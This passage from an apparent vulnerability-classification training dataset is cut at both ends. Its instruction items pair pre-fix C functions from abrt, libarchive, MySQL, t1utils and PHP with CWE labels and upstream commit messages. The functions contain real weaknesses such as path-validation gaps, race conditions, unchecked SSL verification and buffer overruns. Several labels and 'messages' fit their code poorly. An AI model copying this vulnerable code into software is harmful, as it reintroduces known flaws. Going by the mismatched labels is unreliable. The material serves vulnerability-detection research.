/* Already logged from open_directory_for_modification_of_element() */\n return;\n\n const int res = dd_delete_item(dd, element);\n dd_close(dd);\n\n if (res != 0)\n {\n log_notice(\"Can't delete the element '%s' from the problem directory '%s'\", element, problem_id);\n char *error = xasprintf(_(\"Can't delete the element '%s' from the problem directory '%s'\"), element, problem_id);\n g_dbus_method_invocation_return_dbus_error(invocation,\n \"org.freedesktop.problems.Failure\",\n error);\n free(error);\n return;\n }\n\n\n g_dbus_method_invocation_return_value(invocation, NULL);\n return;\n }\n\n if (g_strcmp0(method_name, \"DeleteProblem\") == 0)\n {\n /* Dbus parameters are always tuples.\n * In this case, it's (as) - a tuple of one element (array of strings).\n * Need to fetch the array:\n */\n GVariant *array = g_variant_get_child_value(parameters, 0);\n GList *problem_dirs = string_list_from_variant(array);\n g_variant_unref(array);\n\n for (GList *l = problem_dirs; l; l = l->next)\n {\n const char *dir_name = (const char*)l->data;\n log_notice(\"dir_name:'%s'\", dir_name);\n if (!allowed_problem_dir(dir_name))\n {\n return_InvalidProblemDir_error(invocation, dir_name);\n goto ret;\n }\n }\n\n for (GList *l = problem_dirs; l; l = l->next)\n {\n const char *dir_name = (const char*)l->data;\n\n int dir_fd = dd_openfd(dir_name);\n if (dir_fd < 0)\n {\n perror_msg(\"can't open problem directory '%s'\", dir_name);\n return_InvalidProblemDir_error(invocation, dir_name);\n return;\n }\n\n if (!fdump_dir_accessible_by_uid(dir_fd, caller_uid))\n {\n if (errno == ENOTDIR)\n {\n log_notice(\"Requested directory does not exist '%s'\", dir_name);\n close(dir_fd);\n continue;\n }\n\n if (polkit_check_authorization_dname(caller, \"org.freedesktop.problems.getall\") != PolkitYes)\n { // if user didn't provide correct credentials, just move to the next dir\n close(dir_fd);\n continue;\n }\n }\n\n struct dump_dir *dd = dd_fdopendir(dir_fd, dir_name, /*flags:*/ 0);\n if (dd)\n {\n if (dd_delete(dd) != 0)\n {\n error_msg(\"Failed to delete problem directory '%s'\", dir_name);\n dd_close(dd);\n }\n }\n }\n\n g_dbus_method_invocation_return_value(invocation, NULL);\n ret:\n list_free_with_free(problem_dirs);\n return;\n }\n\n if (g_strcmp0(method_name, \"FindProblemByElementInTimeRange\") == 0)\n {\n const gchar *element;\n const gchar *value;\n glong timestamp_from;\n glong timestamp_to;\n gboolean all;\n\n g_variant_get_child(parameters, 0, \"&s\", &element);\n g_variant_get_child(parameters, 1, \"&s\", &value);\n g_variant_get_child(parameters, 2, \"x\", ×tamp_from);\n g_variant_get_child(parameters, 3, \"x\", ×tamp_to);\n g_variant_get_child(parameters, 4, \"b\", &all);\n\n if (all && polkit_check_authorization_dname(caller, \"org.freedesktop.problems.getall\") == PolkitYes)\n caller_uid = 0;\n\n GList *dirs = get_problem_dirs_for_element_in_time(caller_uid, element, value, timestamp_from,\n timestamp_to);\n response = variant_from_string_list(dirs);\n list_free_with_free(dirs);\n\n g_dbus_method_invocation_return_value(invocation, response);\n return;\n }\n\n if (g_strcmp0(method_name, \"Quit\") == 0)\n {\n g_dbus_method_invocation_return_value(invocation, NULL);\n g_main_loop_quit(loop);\n return;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'dbus: report invalid element names\n\nReturn D-Bus error in case of invalid problem element name.\n\nRelated: #1214451\n\nSigned-off-by: Jakub Filak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int delete_path(const char *dump_dir_name)\n{\n /* If doesn't start with \"g_settings_dump_location/\"... */\n if (!dir_is_in_dump_location(dump_dir_name))\n {\n /* Then refuse to operate on it (someone is attacking us??) */\n error_msg(\"Bad problem directory name '%s', should start with: '%s'\", dump_dir_name, g_settings_dump_location);\n return 400; /* Bad Request */\n }\n if (!dump_dir_accessible_by_uid(dump_dir_name, client_uid))\n {\n if (errno == ENOTDIR)\n {\n error_msg(\"Path '%s' isn't problem directory\", dump_dir_name);\n return 404; /* Not Found */\n }\n error_msg(\"Problem directory '%s' can't be accessed by user with uid %ld\", dump_dir_name, (long)client_uid);\n return 403; /* Forbidden */\n }\n\n delete_dump_dir(dump_dir_name);\n\n return 0; /* success */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'lib: add functions validating dump dir\n\nMove the code from abrt-server to shared library and fix the condition\nvalidating dump dir's path.\n\nAs of now, abrt is allowed to process only direct sub-directories of the\ndump locations.\n\nSigned-off-by: Jakub Filak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int dd_delete(struct dump_dir *dd)\n{\n if (!dd->locked)\n {\n error_msg(\"unlocked problem directory %s cannot be deleted\", dd->dd_dirname);\n return -1;\n }\n\n int r = delete_file_dir(dd->dd_dirname, /*skip_lock_file:*/ true);\n dd->locked = 0; /* delete_file_dir already removed .lock */\n dd_close(dd);\n return r;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'lib: fix races in dump directory handling code\n\nFlorian Weimer :\n\n dd_opendir() should keep a file handle (opened with O_DIRECTORY) and\n use openat() and similar functions to access files in it.\n\n ...\n\n The file system manipulation functions should guard against hard\n links (check that link count is <= 1, just as in the user coredump\n code in abrt-hook-ccpp), possibly after opening the file\n with O_PATH first to avoid side effects on open/close.\n\nRelated: #1214745\n\nSigned-off-by: Jakub Filak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int dd_chown(struct dump_dir *dd, uid_t new_uid)\n{\n if (!dd->locked)\n error_msg_and_die(\"dump_dir is not opened\"); /* bug */\n\n struct stat statbuf;\n if (!(stat(dd->dd_dirname, &statbuf) == 0 && S_ISDIR(statbuf.st_mode)))\n {\n perror_msg(\"stat('%s')\", dd->dd_dirname);\n return 1;\n }\n\n struct passwd *pw = getpwuid(new_uid);\n if (!pw)\n {\n error_msg(\"UID %ld is not found in user database\", (long)new_uid);\n return 1;\n }\n\n#if DUMP_DIR_OWNED_BY_USER > 0\n uid_t owners_uid = pw->pw_uid;\n gid_t groups_gid = statbuf.st_gid;\n#else\n uid_t owners_uid = statbuf.st_uid;\n gid_t groups_gid = pw->pw_gid;\n#endif\n\n int chown_res = lchown(dd->dd_dirname, owners_uid, groups_gid);\n if (chown_res)\n perror_msg(\"lchown('%s')\", dd->dd_dirname);\n else\n {\n dd_init_next_file(dd);\n char *full_name;\n while (chown_res == 0 && dd_get_next_file(dd, /*short_name*/ NULL, &full_name))\n {\n log_debug(\"chowning %s\", full_name);\n chown_res = lchown(full_name, owners_uid, groups_gid);\n if (chown_res)\n perror_msg(\"lchown('%s')\", full_name);\n free(full_name);\n }\n }\n\n return chown_res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'lib: fix races in dump directory handling code\n\nFlorian Weimer :\n\n dd_opendir() should keep a file handle (opened with O_DIRECTORY) and\n use openat() and similar functions to access files in it.\n\n ...\n\n The file system manipulation functions should guard against hard\n links (check that link count is <= 1, just as in the user coredump\n code in abrt-hook-ccpp), possibly after opening the file\n with O_PATH first to avoid side effects on open/close.\n\nRelated: #1214745\n\nSigned-off-by: Jakub Filak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int create_symlink_lockfile(const char* lock_file, const char* pid)\n{\n while (symlink(pid, lock_file) != 0)\n {\n if (errno != EEXIST)\n {\n if (errno != ENOENT && errno != ENOTDIR && errno != EACCES)\n {\n perror_msg(\"Can't create lock file '%s'\", lock_file);\n errno = 0;\n }\n return -1;\n }\n\n char pid_buf[sizeof(pid_t)*3 + 4];\n ssize_t r = readlink(lock_file, pid_buf, sizeof(pid_buf) - 1);\n if (r < 0)\n {\n if (errno == ENOENT)\n {\n /* Looks like lock_file was deleted */\n usleep(SYMLINK_RETRY_USLEEP); /* avoid CPU eating loop */\n continue;\n }\n perror_msg(\"Can't read lock file '%s'\", lock_file);\n errno = 0;\n return -1;\n }\n pid_buf[r] = '\\0';\n\n if (strcmp(pid_buf, pid) == 0)\n {\n log(\"Lock file '%s' is already locked by us\", lock_file);\n return 0;\n }\n if (isdigit_str(pid_buf))\n {\n char pid_str[sizeof(\"/proc/\") + sizeof(pid_buf)];\n snprintf(pid_str, sizeof(pid_str), \"/proc/%s\", pid_buf);\n if (access(pid_str, F_OK) == 0)\n {\n log(\"Lock file '%s' is locked by process %s\", lock_file, pid_buf);\n return 0;\n }\n log(\"Lock file '%s' was locked by process %s, but it crashed?\", lock_file, pid_buf);\n }\n /* The file may be deleted by now by other process. Ignore ENOENT */\n if (unlink(lock_file) != 0 && errno != ENOENT)\n {\n perror_msg(\"Can't remove stale lock file '%s'\", lock_file);\n errno = 0;\n return -1;\n }\n }\n\n log_info(\"Locked '%s'\", lock_file);\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'lib: fix races in dump directory handling code\n\nFlorian Weimer :\n\n dd_opendir() should keep a file handle (opened with O_DIRECTORY) and\n use openat() and similar functions to access files in it.\n\n ...\n\n The file system manipulation functions should guard against hard\n links (check that link count is <= 1, just as in the user coredump\n code in abrt-hook-ccpp), possibly after opening the file\n with O_PATH first to avoid side effects on open/close.\n\nRelated: #1214745\n\nSigned-off-by: Jakub Filak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: __archive_read_filter_consume(struct archive_read_filter * filter,\n int64_t request)\n{\n\tint64_t skipped;\n\n\tif (request == 0)\n\t\treturn 0;\n\n\tskipped = advance_file_pointer(filter, request);\n\tif (skipped == request)\n\t\treturn (skipped);\n\t/* We hit EOF before we satisfied the skip request. */\n\tif (skipped < 0) /* Map error code to 0 for error message below. */\n\t\tskipped = 0;\n\tarchive_set_error(&filter->archive->archive,\n\t ARCHIVE_ERRNO_MISC,\n\t \"Truncated input file (needed %jd bytes, only %jd available)\",\n\t (intmax_t)request, (intmax_t)skipped);\n\treturn (ARCHIVE_FATAL);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Add a check to archive_read_filter_consume to reject any\nattempts to move the file pointer by a negative amount.\n\nNote: Either this or commit 3865cf2 provides a fix for\nIssue 394.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Exit_status safe_connect()\n{\n mysql= mysql_init(NULL);\n\n if (!mysql)\n {\n error(\"Failed on mysql_init.\");\n return ERROR_STOP;\n }\n\n#ifdef HAVE_OPENSSL\n if (opt_use_ssl)\n {\n mysql_ssl_set(mysql, opt_ssl_key, opt_ssl_cert, opt_ssl_ca,\n opt_ssl_capath, opt_ssl_cipher);\n mysql_options(mysql, MYSQL_OPT_SSL_CRL, opt_ssl_crl);\n mysql_options(mysql, MYSQL_OPT_SSL_CRLPATH, opt_ssl_crlpath);\n }\n mysql_options(mysql, MYSQL_OPT_SSL_VERIFY_SERVER_CERT,\n (char*) &opt_ssl_verify_server_cert);\n#endif\n\n if (opt_plugin_dir && *opt_plugin_dir)\n mysql_options(mysql, MYSQL_PLUGIN_DIR, opt_plugin_dir);\n\n if (opt_default_auth && *opt_default_auth)\n mysql_options(mysql, MYSQL_DEFAULT_AUTH, opt_default_auth);\n\n if (opt_protocol)\n mysql_options(mysql, MYSQL_OPT_PROTOCOL, (char*) &opt_protocol);\n if (opt_bind_addr)\n mysql_options(mysql, MYSQL_OPT_BIND, opt_bind_addr);\n#if defined (_WIN32) && !defined (EMBEDDED_LIBRARY)\n if (shared_memory_base_name)\n mysql_options(mysql, MYSQL_SHARED_MEMORY_BASE_NAME,\n shared_memory_base_name);\n#endif\n mysql_options(mysql, MYSQL_OPT_CONNECT_ATTR_RESET, 0);\n mysql_options4(mysql, MYSQL_OPT_CONNECT_ATTR_ADD,\n \"program_name\", \"mysqlbinlog\");\n if (!mysql_real_connect(mysql, host, user, pass, 0, port, sock, 0))\n {\n error(\"Failed on connect: %s\", mysql_error(mysql));\n return ERROR_STOP;\n }\n mysql->reconnect= 1;\n return OK_CONTINUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284', 'CWE-295'], 'message': 'WL#6791 : Redefine client --ssl option to imply enforced encryption\n\n# Changed the meaning of the --ssl=1 option of all client binaries\nto mean force ssl, not try ssl and fail over to eunecrypted\n# Added a new MYSQL_OPT_SSL_ENFORCE mysql_options()\noption to specify that an ssl connection is required.\n# Added a new macro SSL_SET_OPTIONS() to the client\nSSL handling headers that sets all the relevant SSL options at \nonce.\n# Revamped all of the current native clients to use the new macro\n# Removed some Windows line endings.\n# Added proper handling of the new option into the ssl helper\nheaders.\n# If SSL is mandatory assume that the media is secure enough \nfor the sha256 plugin to do unencrypted password exchange even\nbefore establishing a connection.\n# Set the default ssl cipher to DHE-RSA-AES256-SHA if none is \nspecified.\n# updated test cases that require a non-default cipher to spawn \na mysql command line tool binary since mysqltest has no support\nfor specifying ciphers.\n# updated the replication slave connection code to always enforce\nSSL if any of the SSL config options is present.\n# test cases added and updated.\n# added a mysql_get_option() API to return mysql_options() \nvalues. Used the new API inside the sha256 plugin.\n# Fixed compilation warnings because of unused variables.\n# Fixed test failures (mysql_ssl and bug13115401)\n# Fixed whitespace issues.\n# Fully implemented the mysql_get_option() function.\n# Added a test case for mysql_get_option()\n# fixed some trailing whitespace issues\n# fixed some uint/int warnings in mysql_client_test.c\n# removed shared memory option from non-windows get_options\n tests\n# moved MYSQL_OPT_LOCAL_INFILE to the uint options'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int connect_to_db(char *host, char *user,char *passwd)\n{\n char buff[20+FN_REFLEN];\n DBUG_ENTER(\"connect_to_db\");\n\n verbose_msg(\"-- Connecting to %s...\\n\", host ? host : \"localhost\");\n mysql_init(&mysql_connection);\n if (opt_compress)\n mysql_options(&mysql_connection,MYSQL_OPT_COMPRESS,NullS);\n#ifdef HAVE_OPENSSL\n if (opt_use_ssl)\n mysql_ssl_set(&mysql_connection, opt_ssl_key, opt_ssl_cert, opt_ssl_ca,\n opt_ssl_capath, opt_ssl_cipher);\n mysql_options(&mysql_connection,MYSQL_OPT_SSL_VERIFY_SERVER_CERT,\n (char*)&opt_ssl_verify_server_cert);\n#endif\n if (opt_protocol)\n mysql_options(&mysql_connection,MYSQL_OPT_PROTOCOL,(char*)&opt_protocol);\n#ifdef HAVE_SMEM\n if (shared_memory_base_name)\n mysql_options(&mysql_connection,MYSQL_SHARED_MEMORY_BASE_NAME,shared_memory_base_name);\n#endif\n mysql_options(&mysql_connection, MYSQL_SET_CHARSET_NAME, default_charset);\n\n if (opt_plugin_dir && *opt_plugin_dir)\n mysql_options(&mysql_connection, MYSQL_PLUGIN_DIR, opt_plugin_dir);\n\n if (opt_default_auth && *opt_default_auth)\n mysql_options(&mysql_connection, MYSQL_DEFAULT_AUTH, opt_default_auth);\n\n if (using_opt_enable_cleartext_plugin)\n mysql_options(&mysql_connection, MYSQL_ENABLE_CLEARTEXT_PLUGIN,\n (char *) &opt_enable_cleartext_plugin);\n\n if (!(mysql= mysql_real_connect(&mysql_connection,host,user,passwd,\n NULL,opt_mysql_port,opt_mysql_unix_port,\n 0)))\n {\n DB_error(&mysql_connection, \"when trying to connect\");\n DBUG_RETURN(1);\n }\n if ((mysql_get_server_version(&mysql_connection) < 40100) ||\n (opt_compatible_mode & 3))\n {\n /* Don't dump SET NAMES with a pre-4.1 server (bug#7997). */\n opt_set_charset= 0;\n\n /* Don't switch charsets for 4.1 and earlier. (bug#34192). */\n server_supports_switching_charsets= FALSE;\n } \n /*\n As we're going to set SQL_MODE, it would be lost on reconnect, so we\n cannot reconnect.\n */\n mysql->reconnect= 0;\n my_snprintf(buff, sizeof(buff), \"/*!40100 SET @@SQL_MODE='%s' */\",\n compatible_mode_normal_str);\n if (mysql_query_with_error_report(mysql, 0, buff))\n DBUG_RETURN(1);\n /*\n set time_zone to UTC to allow dumping date types between servers with\n different time zone settings\n */\n if (opt_tz_utc)\n {\n my_snprintf(buff, sizeof(buff), \"/*!40103 SET TIME_ZONE='+00:00' */\");\n if (mysql_query_with_error_report(mysql, 0, buff))\n DBUG_RETURN(1);\n }\n DBUG_RETURN(0);\n} /* connect_to_db */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-295'], 'message': 'WL#9072: Backport WL#8785 to 5.5'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MYSQL *db_connect(char *host, char *database,\n char *user, char *passwd)\n{\n MYSQL *mysql;\n if (verbose)\n fprintf(stdout, \"Connecting to %s\\n\", host ? host : \"localhost\");\n if (!(mysql= mysql_init(NULL)))\n return 0;\n if (opt_compress)\n mysql_options(mysql,MYSQL_OPT_COMPRESS,NullS);\n if (opt_local_file)\n mysql_options(mysql,MYSQL_OPT_LOCAL_INFILE,\n\t\t (char*) &opt_local_file);\n#ifdef HAVE_OPENSSL\n if (opt_use_ssl)\n mysql_ssl_set(mysql, opt_ssl_key, opt_ssl_cert, opt_ssl_ca,\n\t\t opt_ssl_capath, opt_ssl_cipher);\n mysql_options(mysql,MYSQL_OPT_SSL_VERIFY_SERVER_CERT,\n (char*)&opt_ssl_verify_server_cert);\n#endif\n if (opt_protocol)\n mysql_options(mysql,MYSQL_OPT_PROTOCOL,(char*)&opt_protocol);\n#ifdef HAVE_SMEM\n if (shared_memory_base_name)\n mysql_options(mysql,MYSQL_SHARED_MEMORY_BASE_NAME,shared_memory_base_name);\n#endif\n\n if (opt_plugin_dir && *opt_plugin_dir)\n mysql_options(mysql, MYSQL_PLUGIN_DIR, opt_plugin_dir);\n\n if (opt_default_auth && *opt_default_auth)\n mysql_options(mysql, MYSQL_DEFAULT_AUTH, opt_default_auth);\n\n if (using_opt_enable_cleartext_plugin)\n mysql_options(mysql, MYSQL_ENABLE_CLEARTEXT_PLUGIN,\n (char*)&opt_enable_cleartext_plugin);\n\n mysql_options(mysql, MYSQL_SET_CHARSET_NAME, default_charset);\n if (!(mysql_real_connect(mysql,host,user,passwd,\n database,opt_mysql_port,opt_mysql_unix_port,\n 0)))\n {\n ignore_errors=0;\t /* NO RETURN FROM db_error */\n db_error(mysql);\n }\n mysql->reconnect= 0;\n if (verbose)\n fprintf(stdout, \"Selecting database %s\\n\", database);\n if (mysql_select_db(mysql, database))\n {\n ignore_errors=0;\n db_error(mysql);\n }\n return mysql;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-295'], 'message': 'WL#9072: Backport WL#8785 to 5.5'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: process_pfa(FILE *ifp, const char *ifp_filename, struct font_reader *fr)\n{\n /* Loop until no more input. We need to look for `currentfile eexec' to\n start eexec section (hex to binary conversion) and line of all zeros to\n switch back to ASCII. */\n\n /* Don't use fgets() in case line-endings are indicated by bare \\r's, as\n occurs in Macintosh fonts. */\n\n /* 2.Aug.1999 - At the behest of Tom Kacvinsky , support\n binary PFA fonts. */\n\n char buffer[LINESIZE];\n int c = 0;\n int blocktyp = PFA_ASCII;\n char saved_orphan = 0;\n (void)ifp_filename;\n\n while (c != EOF) {\n\tchar *line = buffer, *last = buffer;\n\tint crlf = 0;\n\tc = getc(ifp);\n\twhile (c != EOF && c != '\\r' && c != '\\n' && last < buffer + LINESIZE - 1) {\n\t *last++ = c;\n\t c = getc(ifp);\n\t}\n\n\t/* handle the end of the line */\n\tif (last == buffer + LINESIZE - 1)\n\t /* buffer overrun: don't append newline even if we have it */\n\t ungetc(c, ifp);\n\telse if (c == '\\r' && blocktyp != PFA_BINARY) {\n\t /* change CR or CR/LF into LF, unless reading binary data! (This\n\t condition was wrong before, caused Thanh problems -\n\t 6.Mar.2001) */\n\t c = getc(ifp);\n\t if (c != '\\n')\n\t\tungetc(c, ifp), crlf = 1;\n\t else\n\t\tcrlf = 2;\n\t *last++ = '\\n';\n\t} else if (c != EOF)\n\t *last++ = c;\n\n\t*last = 0;\n\n\t/* now that we have the line, handle it */\n\tif (blocktyp == PFA_ASCII) {\n\t if (strncmp(line, \"currentfile eexec\", 17) == 0 && isspace(line[17])) {\n\t\tchar saved_p;\n\t\t/* assert(line == buffer); */\n\t\tfor (line += 18; isspace(*line); line++)\n\t\t /* nada */;\n\t\tsaved_p = *line;\n\t\t*line = 0;\n\t\tfr->output_ascii(buffer, line - buffer);\n\t\t*line = saved_p;\n\t\tblocktyp = PFA_EEXEC_TEST;\n\t\tif (!*line)\n\t\t continue;\n\t } else {\n\t\tfr->output_ascii(line, last - line);\n\t\tcontinue;\n\t }\n\t}\n\n\t/* check immediately after \"currentfile eexec\" for ASCII or binary */\n\tif (blocktyp == PFA_EEXEC_TEST) {\n\t /* 8.Feb.2004: fix bug if first character in a binary eexec block\n\t is 0, reported by Werner Lemberg */\n\t for (; line < last && isspace(*line); line++)\n\t\t/* nada */;\n\t if (line == last)\n\t\tcontinue;\n\t else if (last >= line + 4 && isxdigit(line[0]) && isxdigit(line[1])\n\t\t && isxdigit(line[2]) && isxdigit(line[3]))\n\t\tblocktyp = PFA_HEX;\n\t else\n\t\tblocktyp = PFA_BINARY;\n\t memmove(buffer, line, last - line + 1);\n\t last = buffer + (last - line);\n\t line = buffer;\n\t /* patch up crlf fix */\n\t if (blocktyp == PFA_BINARY && crlf) {\n\t\tlast[-1] = '\\r';\n\t\tif (crlf == 2)\n\t\t *last++ = '\\n';\n\t }\n\t}\n\n\t/* blocktyp == PFA_HEX || blocktyp == PFA_BINARY */\n\tif (all_zeroes(line)) {\t/* XXX not safe */\n\t fr->output_ascii(line, last - line);\n\t blocktyp = PFA_ASCII;\n\t} else if (blocktyp == PFA_HEX) {\n\t int len = translate_hex_string(line, &saved_orphan);\n\t if (len)\n\t\tfr->output_binary((unsigned char *)line, len);\n\t} else\n\t fr->output_binary((unsigned char *)line, last - line);\n }\n\n fr->output_end();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Security fixes.\n\n- Don't overflow the small cs_start buffer (reported by Niels\n Thykier via the debian tracker (Jakub Wilk), found with a\n fuzzer (\"American fuzzy lop\")).\n\n- Cast arguments to functions to unsigned char.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int multipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)\n{\n\tchar *line;\n\tmime_header_entry prev_entry = {0}, entry;\n\tint prev_len, cur_len;\n\n\t/* didn't find boundary, abort */\n\tif (!find_boundary(self, self->boundary TSRMLS_CC)) {\n\t\treturn 0;\n\t}\n\n\t/* get lines of text, or CRLF_CRLF */\n\n\twhile( (line = get_line(self TSRMLS_CC)) && strlen(line) > 0 )\n\t{\n\t\t/* add header to table */\n\t\tchar *key = line;\n\t\tchar *value = NULL;\n\n\t\tif (php_rfc1867_encoding_translation(TSRMLS_C)) {\n\t\t\tself->input_encoding = zend_multibyte_encoding_detector(line, strlen(line), self->detect_order, self->detect_order_size TSRMLS_CC);\n\t\t}\n\n\t\t/* space in the beginning means same header */\n\t\tif (!isspace(line[0])) {\n\t\t\tvalue = strchr(line, ':');\n\t\t}\n\n\t\tif (value) {\n\t\t\t*value = 0;\n\t\t\tdo { value++; } while(isspace(*value));\n\n\t\t\tentry.value = estrdup(value);\n\t\t\tentry.key = estrdup(key);\n\n\t\t} else if (zend_llist_count(header)) { /* If no ':' on the line, add to previous line */\n\n\t\t\tprev_len = strlen(prev_entry.value);\n\t\t\tcur_len = strlen(line);\n\n\t\t\tentry.value = emalloc(prev_len + cur_len + 1);\n\t\t\tmemcpy(entry.value, prev_entry.value, prev_len);\n\t\t\tmemcpy(entry.value + prev_len, line, cur_len);\n\t\t\tentry.value[cur_len + prev_len] = '\\0';\n\n\t\t\tentry.key = estrdup(prev_entry.key);\n\n\t\t\tzend_llist_remove_tail(header);\n\t\t} else {\n\t\t\tcontinue;\n\t\t}\n\n\t\tzend_llist_add_element(header, &entry);\n\t\tprev_entry = entry;\n\t}\n\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'Fixed bug #69364 - use smart_str to assemble strings'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_FUNCTION(pcntl_fork)\n{\n\tpid_t id;\n\n\tid = fork();\n\tif (id == -1) {\n\t\tPCNTL_G(last_error) = errno;\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Error %d\", errno);\n\t}\n\t\n\tRETURN_LONG((long) id);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-19'], 'message': 'Fixed bug #69418 - more s->p fixes for filenames'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_MINIT_FUNCTION(dir)\n{\n\tstatic char dirsep_str[2], pathsep_str[2];\n\tzend_class_entry dir_class_entry;\n\n\tINIT_CLASS_ENTRY(dir_class_entry, \"Directory\", php_dir_class_functions);\n\tdir_class_entry_ptr = zend_register_internal_class(&dir_class_entry TSRMLS_CC);\n\n#ifdef ZTS\n\tts_allocate_id(&dir_globals_id, sizeof(php_dir_globals), NULL, NULL);\n#endif\n\n\tdirsep_str[0] = DEFAULT_SLASH;\n\tdirsep_str[1] = '\\0';\n\tREGISTER_STRING_CONSTANT(\"DIRECTORY_SEPARATOR\", dirsep_str, CONST_CS|CONST_PERSISTENT);\n\n\tpathsep_str[0] = ZEND_PATHS_SEPARATOR;\n\tpathsep_str[1] = '\\0';\n\tREGISTER_STRING_CONSTANT(\"PATH_SEPARATOR\", pathsep_str, CONST_CS|CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"SCANDIR_SORT_ASCENDING\", PHP_SCANDIR_SORT_ASCENDING, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SCANDIR_SORT_DESCENDING\", PHP_SCANDIR_SORT_DESCENDING, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SCANDIR_SORT_NONE\", PHP_SCANDIR_SORT_NONE, CONST_CS | CONST_PERSISTENT);\n\n#ifdef HAVE_GLOB\n\n#ifdef GLOB_BRACE\n\tREGISTER_LONG_CONSTANT(\"GLOB_BRACE\", GLOB_BRACE, CONST_CS | CONST_PERSISTENT);\n#else\n# define GLOB_BRACE 0\n#endif\n\n#ifdef GLOB_MARK\n\tREGISTER_LONG_CONSTANT(\"GLOB_MARK\", GLOB_MARK, CONST_CS | CONST_PERSISTENT);\n#else\n# define GLOB_MARK 0\n#endif\n\n#ifdef GLOB_NOSORT\n\tREGISTER_LONG_CONSTANT(\"GLOB_NOSORT\", GLOB_NOSORT, CONST_CS | CONST_PERSISTENT);\n#else \n# define GLOB_NOSORT 0\n#endif\n\n#ifdef GLOB_NOCHECK\n\tREGISTER_LONG_CONSTANT(\"GLOB_NOCHECK\", GLOB_NOCHECK, CONST_CS | CONST_PERSISTENT);\n#else \n# define GLOB_NOCHECK 0\n#endif\n\n#ifdef GLOB_NOESCAPE\n\tREGISTER_LONG_CONSTANT(\"GLOB_NOESCAPE\", GLOB_NOESCAPE, CONST_CS | CONST_PERSISTENT);\n#else \n# define GLOB_NOESCAPE 0\n#endif\n\n#ifdef GLOB_ERR\n\tREGISTER_LONG_CONSTANT(\"GLOB_ERR\", GLOB_ERR, CONST_CS | CONST_PERSISTENT);\n#else \n# define GLOB_ERR 0\n#endif\n\n#ifndef GLOB_ONLYDIR\n# define GLOB_ONLYDIR (1<<30)\n# define GLOB_EMULATE_ONLYDIR\n# define GLOB_FLAGMASK (~GLOB_ONLYDIR)\n#else\n# define GLOB_FLAGMASK (~0)\n#endif\n\n/* This is used for checking validity of passed flags (passing invalid flags causes segfault in glob()!! */\n#define GLOB_AVAILABLE_FLAGS (0 | GLOB_BRACE | 